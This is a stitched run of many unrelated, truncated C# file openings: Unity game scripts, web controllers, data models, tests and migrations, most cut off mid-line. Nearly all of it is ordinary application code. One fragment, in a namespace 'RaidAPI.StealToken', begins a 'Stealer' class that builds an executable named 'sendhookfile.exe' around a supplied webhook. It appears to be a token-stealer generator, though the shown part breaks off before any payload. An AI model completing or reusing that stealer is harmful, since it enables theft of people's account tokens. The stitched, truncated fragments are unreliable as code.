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using System; using System.Windows; using System.Windows.Media.Animation; public class design { public design() { } }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using ReactEmpeek.Models; using Remotion.Linq.Clauses; namespace ReactEmpeek.Controllers { [Route("api/[controller]")] [ApiController] public cl...
using System; using System.Collections.Generic; using System.Text; using ServiceDesk.Core.Interfaces.Common; namespace ServiceDesk.Core.Entities.RequestSystem { public class Comment : IEntity { public int Id { get; set; } public string Text { get; set; } public string AuthorId { get; s...
using System; namespace MODEL.ORDER { /// <summary> /// 实体类 OrderApplyModel /// 编写者: /// 日期:2015/2/7 星期六 1:25:15 /// </summary> public class OrderApplyModel { private int orderid = 0; private string orderno = string.Empty; private int _custid = 0; ...
//------------------------------------------------------------------------------ // The contents of this file are subject to the nopCommerce Public License Version 1.0 ("License"); you may not use this file except in compliance with the License. // You may obtain a copy of the License at http://www.nopCommerce.com/Lic...
using System; using DataDynamics.ActiveReports; using DataDynamics.ActiveReports.Document; using System.Data.SqlClient; using lianda.Component; using System.Data; namespace lianda.LD40 { public class LD404020AR : ActiveReport { public LD404020AR(DateTime DateF,DateTime DateT) { InitializeReport(); ...
using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Threading; using UnityEditor; using UnityEditorInternal; #if UNITY_2017_1_OR_NEWER using UnityEditor.PackageManager; #endif namespace ConsoleTiny { public class Scrip...
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace DoubleEndedQueue { public interface IDeque<T> { T PeekHead(); T PeekTail(); void EnqueueHead(T value); void EnqueueTail(T value); T DequeueHead(); T DequeueTail(); ...
using System.Collections.Generic; using System.Linq; using dnlib.DotNet.Emit; using SharpILMixins.Annotations.Inject; using SharpILMixins.Processor.Utils; namespace SharpILMixins.Processor.Workspace.Processor.Actions.Impl.Inject { public abstract class BaseInjectionProcessor { public abstract AtLocati...
namespace FuzzyLogic.Model { class WorkHour : AbsCollection<ChartItem1Value> { public WorkHour(int beginWork, int endWork) { CreateData(beginWork, endWork); } //generowanie 1 lub 0 dla godzin od do //if na wypadek gdyby było od wieczora do rana public...
using System; using System.Collections; using System.Collections.Generic; using System.Linq; using OCP; using OCP.AppFramework.Http; using OCP.Http.Client; namespace OCP.AppFramework { /** * Base class to inherit your controllers from * @since 6.0.0 */ public abstract class Controller { /** ...
using System.Runtime.InteropServices; using System; using System.Collections.Generic; using System.IO; namespace Wc3Engine { public class ShadowFlare { [DllImport("SFmpq.dll", EntryPoint = "SFMpqGetVersionString")] public static extern string DLLVersion(); [DllImport("SFmpq.dll", Entry...
using System; using System.Collections.Generic; using Moq; using MvcMonitor.Data.Providers; using MvcMonitor.Data.Repositories; using MvcMonitor.Models; using NUnit.Framework; namespace MvcMonitor.Tests.Providers.IndexProviderTests { [TestFixture] [Category("Core")] public class GetErrorsTests { ...
using Microsoft.EntityFrameworkCore; using SafeSpace.core.Data; using SafeSpace.core.Views; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace SafeSpace.domain.Services { public class AppUserRatingService { private readonly SafeSpaceContext _context; ...
using UnityEngine; using RPG.Resources; namespace RPG.Combat { [RequireComponent(typeof(Health))] public class CombatTarget : MonoBehaviour { // CombatTarget is only a classifier and should have no code } }
using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Web; using System.Web.Mvc; namespace Compilify.Web.Controllers { public class ErrorController : Controller { public ActionResult Index(int? status) { var codes = Enum.GetValues(typeof...
using TreeStore.Messaging; using System; using System.Collections.Generic; namespace TreeStore.Model { public class TrackingModelController : ModelController { private readonly HashSet<Guid> trackedTags = new HashSet<Guid>(); private readonly HashSet<Guid> trackedEntities = new HashSet<Guid>()...
using Domen; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace SystemOperations.ProizvodjacLekovaSO { public class FindProizvodjacSO : SystemOperationBase { protected override object ExecuteSO(IEntity entity) { ...
using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Linq; using System.Threading.Tasks; using Windows.Devices.Bluetooth; using Windows.Devices.Bluetooth.Advertisement; using Windows.Devices.Enumeration; namespace BLEWindowsConsole.src.Models { public class GattSample...
using System; using FluentAssertions; using NUnit.Framework; using PSPatcher.Core.AstExtensions.CSharp; using PSPatcher.Core.AstExtensions.PS; namespace PSPatcher.Tests.AstExtensionsTests.CSharpTests { [TestFixture] public class CSharpClassAst_Tests { private CSharpClassAst csharpClass; p...
using System.ComponentModel.DataAnnotations.Schema; namespace Web.Models { public class CourseTemplate : Product { public string Note { get; set; } public string OverView { get; set; } [ForeignKey("CourseLevel")] public int CourseLevelId { get; set; } public CourseLevel...
using System; namespace Paydock.SDK.Entities { public class BankCard { public Int32 CCV { get; set; } public String Name { get; set; } public String Number { get; set; } public Int32 ExpireMonth { get; set; } public Int32 ExpireYear { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Web; using E_Commerce.Models.Helper; namespace E_Commerce.CF { public class Converter { public static UserNameSurname ToUserNameSurname(dynamic ToConvert) { UserNameSurname ToSend = new UserNameSurname(...
using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace Academy.Models { public static class Database { //public static List<Teacher> teachers { get; set; } //public static List<Student> students { get; set; } public static List<Teacher> teachers ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using Autodesk.AutoCAD.Runtime; using Autodesk.AutoCAD.EditorInput; using Autodesk.AutoCAD.ApplicationServices; using FormsApplication = System.Windows.Forms.Application; usi...
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using KT.DTOs.Objects; using KnowledgeTester.Helpers; namespace KnowledgeTester.Models { public class QuestionModel { public QuestionModel(QuestionDto question, string subcategoryName) { Text = que...
using BenchmarkDotNet.Attributes; using BenchmarkDotNet.Configs; using JM.LinqFaster.SIMD; using StructLinq; using System.Linq; using System.Threading.Tasks; namespace NetFabric.Hyperlinq.Benchmarks { [GroupBenchmarksBy(BenchmarkLogicalGroupRule.ByCategory)] [CategoriesColumn] public class RangeToArrayBenc...
using System.Collections; using System.Collections.Generic; using UnityEngine; public class EffectObj : MonoBehaviour { public int id = 1; EffectModel effect; // Use this for initialization void Start () { effect = InventoryManager.Instance.GetEffectById(id); Invoke("DestorySelf", effect.LastTim...
using System.Collections.Generic; using ATSBackend.Domain.Entities; using ATSBackend.Domain.Interfaces.Services; using ATSBackend.Domain.Interfaces.Repositories; namespace ATSBackend.Domain.Services { public class CandidatoService : ServiceBase<Candidato>, ICandidatoService { private readonly ICandida...
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using Random = System.Random; public class Virus1 : MonoBehaviour { private States _states = new States(); public int _damage; public ScoreData scoreData; public static Virus1 Instance; private void Awake() ...
using System; using System.Collections.Generic; using System.Text; namespace DiagnostivoTecnicoBasico.Model.InformacionComercial { public class ICComponent { public List<ICComponentDetail> component { get; set; } } }
namespace MvcExample.Core.Migrations { using System; using System.Data.Entity.Migrations; public partial class UserTablosunaForeignkeylereklendi : DbMigration { public override void Up() { AddColumn("auth.User", "RoleId", c => c.Int(nullable: false)); AddColu...
// -------------------------------------------------------------------------------------------------------------------- // <copyright file="RouteConfig.cs" company="Eyefinity, Inc."> // 2013 Eyefinity, Inc. // </copyright> // <summary> // Defines the RouteConfig type. // </summary> // ----------------------...
using System; using System.Linq; using System.Collections.Generic; using QuickCollab.Security; namespace QuickCollab.Session { public class RegistrationService { private ISessionInstanceRepository _sessionRepo; private IConnectionRepository _connRepo; private PasswordHashService _passw...
namespace PurificationPioneer.Const { public partial class SpriteName { public static readonly string Avatar0 = @"Avatar0"; public static readonly string Avatar1 = @"Avatar1"; public static readonly string Avatar2 = @"Avatar2"; public static readonly string Avatar3 = @"Avatar3"; public static readonly strin...
using System; using System.Diagnostics; namespace Microsoft.DataStudio.Solutions.Validators { public class ThrowIf { /// <summary> /// Throws ArgumentNullException if the argument is null, otherwise passes it through. /// </summary> /// <typeparam name="T">The argument type.</t...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace SincolPDV.Repositorio.Implementacao.Base { interface IRepository<TEntity> where TEntity : class { IQueryable<TEntity> ListarTodos(); IQueryable<TEntity> Listar(Func<TEn...
using System; using System.Data; using System.Threading.Tasks; using System.Windows.Media; using CRVCManager.Utilities; namespace CRVCManager.DataModels { public class Flag : Base { private Color _color; private string _description; private string _name; public Guid Id { get; } public string Name { ...
using System; using System.Windows.Forms; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading; using System.IO; using System.Diagnostics; using Excel = Microsoft.Office.Interop.Excel; using System.Collections; namespace LibOcr { public class OCR { #region Cla...
using SharpDX; using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using SharpDX; using Common; namespace LoadMeshes.Application { [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct ...
using Store.Books.Domain.Enums; using Store.Books.Domain.Base; using System; namespace Store.Books.Domain { public class Order : BaseDateEntity { public string UserName { get; set; } public OrderStatusEnum Status { get; set; } public decimal Total { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CFDI.Model { public class MenuModel { public string Id { get; set; } public string Opcion { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Vip.Printer; namespace Gerene.DFe.EscPos { public static class GereneHelpers { #region String public static bool IsNull(this string _str) => string.IsNullOrEmpty(_str) || string.IsNullOrWhiteSpace(_str)...
// // Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT License. See LICENSE file in the project root for full license information. // #region Usings using System; #endregion namespace DotNetNuke.Services.Upgrade.Internals.InstallConfiguration { /// --------------------------------...
using Hotel.Data.Models; using Microsoft.AspNetCore.Mvc.Rendering; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace Hotel.Web.Areas.ModulRecepcija.ViewModels { public class UrediNarudzbuVM { public int Id { set; get; } public DateTime ...
using Plus.Communication.Packets.Outgoing.Inventory.Badges; using Plus.HabboHotel.GameClients; namespace Plus.Communication.Packets.Incoming.Inventory.Badges { internal class GetBadgesEvent : IPacketEvent { public void Parse(GameClient session, ClientPacket packet) { sessi...
using System; using System.Linq; using System.Windows.Forms; using Mono.Cecil; using Mono.Cecil.Cil; namespace RaidAPI.StealToken { public static class Stealer { public static void Dialog(string _Hook) { string output = "output/sendhookfile.exe"; Stealer.CreateExe(_Hook, output); } in...
using System; using System.IO; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windo...
using UnityEngine; using System.Collections; public class Goblin : EntityBase { public string Name = "GOBLIN"; public override string GetName() { return Name; } // Use this for initialization void Start () { } // Update is called once per frame void Update () { } }
using SinavSistemi.Entity; using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Linq; using System.Text; using System.Threading.Tasks; namespace SinavSistemi.DataAccessLayer { public class OgretmenDAL { private DBHelper dbHelper; ...
using AutoMapper; using MZcms.Core.Helper; using MZcms.IServices; using MZcms.Model; using MZcms.Web.Framework; using MZcms.Web.Models; using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; namespace MZcms.Web.Areas.Admin.Controllers { public class SiteSettingC...
using LazyVocabulary.Common.Enums; using System; using System.Collections.Generic; using System.Globalization; namespace LazyVocabulary.Common.Entities { public class UserProfile { public int Id { get; set; } public string Name { get; set; } public string Surname { get; set; } ...
using System; using System.Collections.Generic; using System.IO; using System.Linq; using Windows.Foundation; using Windows.Foundation.Collections; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Controls.Primitives; using Windows.UI.Xaml.Data; using Windows.UI.Xaml.Input; using Windows.UI...
using System; using System.Collections.Generic; using System.Xml; using UnityEngine; namespace YoukiaUnity.CinemaSystem { /// <summary> /// 电影系统角色类 /// 演员:该类运行时加载的人物 /// 角色:制作时的点位 /// </summary> public class CinemaCharacter : MonoBehaviour { /// <summary> /// 使用运行时预先关联角色模...
using System; using System.Collections.Generic; using System.Text; namespace ShopsRUs.Infrastructure.Services.InvoiceService { public class Bill { public string Item { get; set; } public decimal Amount { get; set; } public string UserPhoneNumber { get; set; } public string User...
using System; namespace Micro.Net.Test { public class TestResponse { public Guid RequestId { get; set; } public Guid ResponseId { get; set; } } }
using EnglishHubRepository; namespace EnglishHubApi { public class WordRequestEntity { public string lexialCategory { get; set; } public string definition { get; set; } public string id { get; set; } public string word { get; set; } public string description { get; set; ...
namespace Ornithology.Data.Migrations { using System; using System.Data.Entity.Migrations; public partial class CrearTablas : DbMigration { public override void Up() { CreateTable( "dbo.TONT_AVES", c => new { ...
using System.Collections; using System.Collections.Generic; using UnityEngine; public class StartScreen : MonoBehaviour { public MoveForward playerForward; // Update is called once per frame void Update() { if (Input.GetMouseButtonDown(0)) { GetComponent<FadeIn>().StartFad...
using System; using System.Collections.Concurrent; using System.Configuration; using System.IdentityModel.Tokens; using System.Linq; using System.Security.Claims; using System.Security.Cryptography.X509Certificates; using System.Threading.Tasks; using System.Web; using AuthenticationContext = Microsoft.IdentityModel.C...
using System; using System.ServiceModel; using System.ServiceModel.Description; using KT.ServiceInterfaces; namespace KnowledgeTester.WCFServices { public class KtServices { private static ServiceClient<IKtAnswersService> _answersService; public static IKtAnswersService AnswersService { get { return...
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Identity; using MyPersonalBlog.Entities.Concrete; namespace MyPersonalBlog.UI { public static class IdentityInitializer { public static async Task SeedData(UserManager<AppUser> u...
#if UNITY_ADS using System; using System.Collections; using Plugins.UI; using UnityEngine; using UnityEngine.Advertisements; using Util; namespace Ads.UnityAds { public class UnityBannerStrategy : IBannerStrategy { public event EventHandler OnBannerChange; private bool ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Task3; namespace Task3Console { class Program { static void Main(string[] args) { CustomQueue<string> stringQueue = new CustomQueue<string>(); strin...
using UnityEngine; using System.Collections; namespace SNN.Core { [System.Serializable] public class NeuralLayer { [SerializeField] Sigmoid[] nodes; [SerializeField, HideInInspector] int inputSize; [SerializeField, HideInInspector] int nodeSize; pub...
namespace EcobitStage.DataTransfer { public class PrivilegeDTO : DTO { public PrivilegeDTO(string Name) { this.Name = Name; } public string Name { get; set; } } }
using UnityEngine; using System.Collections; public class WhaleController : MonoBehaviour { // Use this for initialization public float yChange; public float speed; public float frameSwitch; private int count = 0; void Start () { } // Update is called once per frame void FixedUpdate () { if (count %...
using System.Threading.Tasks; namespace PulsarDevTest_Joushua_sln { public class Engineer : EngineerBase { private readonly IDatabaseUtility _utility; public Engineer() { _utility = new DatabaseUtility(); } public string FirstName { get; set; } pub...
/* * Copyright 2014 Technische Universität Darmstadt * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by appl...
using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; public class ResumeButton : MonoBehaviour { public void Resume() { NewOrLoad.Load = true; SceneManager.LoadScene("Start"); } }
using System.Collections; using System.Collections.Generic; using UnityEngine.AI; using UnityEngine; public class BasicPlayerController : MonoBehaviour { public Camera cam; public LayerMask GroundLayer; [Header("Control Parameters")] public float JumpHeight; public float JumpLength; protect...
using System; using Carrot.Messages; namespace Carrot.Fallback { public class DeadLetterStrategy : IFallbackStrategy { private readonly Exchange _exchange; private DeadLetterStrategy(Exchange exchange) { _exchange = exchange; } public static IFallbackStrate...
namespace ChesterDevs.Core.Aspnet.App.Jobs { public class JobResponse { public JobDetail Job { get; set; } public Status Status { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Console2.From_051_To_75 { public class _059_RestoreIP { /* Given a string containing only digits, restore it by returning all possible valid IP address combinations. For example: ...
using BigEndian.IO; using NUnit.Framework; using nuru.IO.NUI.Cell; using nuru.IO.NUI.Cell.Color; using nuru.IO.NUI.Cell.Glyph; using nuru.IO.NUI.Cell.Metadata; using nuru.Unit.Tests; namespace nuru.IO.NUI.Unit.Tests { public class CellReaderTests : ReadWriteBaseTests, IGlyphReader, IColorReader, IMetadataReader ...
namespace _1.Logger.Core { using _1.Logger.Factories; using _1.Logger.Interfaces; using System; public class Controller { private FactoryAppender factoryAppender; public Controller() { this.factoryAppender = new FactoryAppender(); } public void...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Projekt53262 { public class Przeglad : KontrolaPrasy { public List<Prasa> listaPrasy = new List<Prasa>(); private object tytul; public string Rodzaj { get; pri...
using UnityEngine; public class ClimateSystem : MonoBehaviour { private Tower thisTower; [SerializeField] private Meter _temperature; /// <summary> /// The current temperature. /// </summary> public Meter temperature { get { return _temperature; } private set { _temperature = value; } }...
using System; using System.Collections.Generic; using System.Linq; using Sesi.WebsiteDaSaude.WebApi.Interfaces; using Sesi.WebsiteDaSaude.WebApi.Models; namespace Sesi.WebsiteDaSaude.WebApi.Repositories { public class TipoLocalRepository : ITIpoLocalRepository { public void Cadastrar(TiposLocais tipo) ...
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using MessagingDemo.Data; using MessagingDemo.Data.Models; using MessagingDemo.Web.Models; using MessagingDemo.Data.Models; using Microsoft.EntityFrameworkCo...
using System.Collections.Generic; using System.Net.Http; using System.Threading.Tasks; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.Azure.WebJobs.Host; using Microsoft.Extensions.Logging; namespace WorkflowEngine { public static class Workflow { [Functio...
// Copyright 2020 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applica...
using System; using System.Collections.Generic; using System.Text; using Xunit; using DinoDiner.Menu; namespace MenuTest.Drinks { public class TyrannoteaTest { [Fact] public void ShouldHaveCorrectDefaultPrice() { Tyrannotea s = new Tyrannotea(); Assert.Equal(....
using System; using System.Linq; namespace Linq_Set_Operatoren { class Program { static void Main(string[] args) { // Distinct - Keine Doppelten einträge Console.WriteLine(); Console.WriteLine("- Distinct -"); string[] cities = { "Aachen", "Köln...
using UnityEngine; using System.Collections; public class JisusGUI : MonoBehaviour { private float fromx = -7f; private float tox = -1f; private bool direction; // Use this for initialization void Start () { direction = true; } // Update is called once per frame void FixedUpdate () { if (direction && ...
using CS.Data; using CS.Tests.TestRepositories; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace CS.Tests { /// <summary> /// Summary description for TestBase /// </summary> [TestClass] public class TestBase { protected IProductRepository _productRepository; [Test...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace irc_client.connection.requests { public class RegisterRequest : AbstractRequest, IRequest { public const int LOGIN = 0; public const int PASSWORD = 1; public const int NICKNAME = 2;...
using System; using System.Reactive.Linq; using System.Windows.Controls; using FundManagerDashboard.Core.ViewModels; using ReactiveUI; namespace FundManagerDashboard.Client.Desktop.View { /// <summary> /// Interaction logic for TotalSummaryView.xaml /// </summary> public partial class TotalSummaryView...
using MediatR; using Newtonsoft.Json; using Newtonsoft.Json.Converters; using OmniSharp.Extensions.DebugAdapter.Protocol.Models; using OmniSharp.Extensions.DebugAdapter.Protocol.Serialization; using OmniSharp.Extensions.JsonRpc; using OmniSharp.Extensions.JsonRpc.Generation; // ReSharper disable once CheckNamespace na...
using System; using System.IO; [CustomLuaClass] public class DUTask { private const float InValid_CheckTimeOut = -1f; protected int _id; protected int _clonedTimes; protected float _progress; protected bool _progressDirty; protected float _speed; protected string _url; protected string _localPath; pro...
using UnityEngine; [CreateAssetMenu(fileName = "Skill", menuName = "Enemy Action/Skill")] public class EnemyActionUseSkill : EnemyAction { [Range(0, 2)] public int animationToPlay; public override void Act(EnemyBehaviour behaviour) { behaviour.Skill.PlaySkillAnimation(animationToPlay); } }...
using System; namespace CustomCollection { /// <summary> /// Defines a name/value pair that can be retrieved. /// </summary> /// <typeparam name="TName">The type of the key name.</typeparam> /// <typeparam name="TValue">The type of the value.</typeparam> [Serializable] public class NameVal...
using UnityEngine; using UnityEngine.UI; public class TimerStartNotifUI : MonoBehaviour { [SerializeField] private int startDelay = 20; // maybe you need to increase the time? private Text textLabel; private int counter; private bool isActive = true; void Start() { ...
using UnityEngine; using System.Collections; public interface IBuff { void calculate(AttributesManager.MidAttributes mid); System.Guid Guid { get; } AttributesManager AM { set; } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; //SharpDX namespaces using SharpDX; using SharpDX.DXGI; using SharpDX.Direct3D11; using SharpDX.D3DCompiler; // resolve using conflicts using Buffer = SharpDX.Direct3D11.Buffer; using...
using com.nope.fishing; using System; using System.Collections.Generic; using UnityEngine; using UnityEngine.EventSystems; using UnityEngine.UI; public class ButtonsInGame : MonoBehaviour { public static ButtonsInGame instance; public Button btnThrowCard; public Button btnBack; [SerializeField] ...
using System; using System.Threading.Tasks; namespace DeepLearning.MachineLearning.RBM { class RestrictedBoltzmannMachine { public SymmetricConnection[][] Connections; public VisibleNeuron[] VisibleNeurons; public HiddenNeuron[] HiddenNeurons; public RestrictedBoltzmannMachine...
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Http; using System.Threading; using System.Threading.Tasks; usi...
using System.Collections; using System.Collections.Generic; using UnityEngine; public class MechView : MonoBehaviour { Animator _animaotor; MechView() { _animaotor = GetComponent<Animator>(); } }
using System; using System.Runtime.CompilerServices; namespace NetFabric.Hyperlinq { public static partial class ArrayExtensions { [MethodImpl(MethodImplOptions.AggressiveInlining)] public static Option<TSource> First<TSource>(this in ArraySegment<TSource> source) => source.Count sw...